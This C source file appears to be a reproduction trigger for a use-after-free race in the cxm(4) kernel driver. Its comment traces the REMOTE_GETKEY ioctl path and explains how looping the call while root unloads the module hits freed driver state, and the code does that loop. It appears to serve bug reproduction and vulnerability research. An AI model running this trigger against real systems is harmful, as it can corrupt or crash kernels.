/*
 * DF-5212 trigger (victim half) - cxm(4) REMOTE_GETKEY detach race.
 *
 * Issues REMOTE_GETKEY (_IOR('x', 71, struct bktr_remote), 3-byte OUT
 * payload, sys/dev/video/bktr/ioctl_bt848.h:266-269) against /dev/cxm0.
 * In the kernel this lands in cxm_ioctl (cxm.c:2306, no lock anywhere)
 * -> case REMOTE_GETKEY (cxm.c:2894-2898) -> cxm_ir_key (cxm_ir.c:100)
 * -> cxm_ir_read fails (or completes) -> tsleep 50 ms (cxm_ir.c:114)
 * -> second cxm_ir_read on sc->iicbus (cxm_ir.c:116).
 *
 * While this thread sleeps, a privileged `kldunload cxm` runs
 * cxm_detach (cxm.c:1944-2004): dev_ops_remove_minor only dead-vectors
 * NEW calls, so the sleeper resumes with the softc / iicbus torn down.
 * Loop this ioctl (each iteration parks >= 50 ms in-kernel) while root
 * unloads/reloads the module to hit the freed-softc window.
 *
 * On guests without Conexant iTVC15/16 PCI hardware (kldload cxm
 * succeeds but /dev/cxm0 never appears) this exits 3.
 */
#include <sys/types.h>
#include <sys/ioccom.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

struct bktr_remote { unsigned char data[3]; };
#define REMOTE_GETKEY _IOR('x', 71, struct bktr_remote)

int
main(void)
{
	struct bktr_remote remote;
	int fd;

	fd = open("/dev/cxm0", O_RDONLY);
	if (fd < 0) {
		printf("hardware absent: open(/dev/cxm0): %s\n",
		    strerror(errno));
		return (3);
	}

	for (;;) {
		memset(&remote, 0, sizeof(remote));
		if (ioctl(fd, REMOTE_GETKEY, &remote) < 0) {
			if (errno == ENXIO)
				continue;	/* IR transact + retry cycle */
			perror("REMOTE_GETKEY");
			return (1);
		}
		printf("key: %02x %02x %02x\n", remote.data[0],
		    remote.data[1], remote.data[2]);
		fflush(stdout);
	}
	/* NOTREACHED */
}
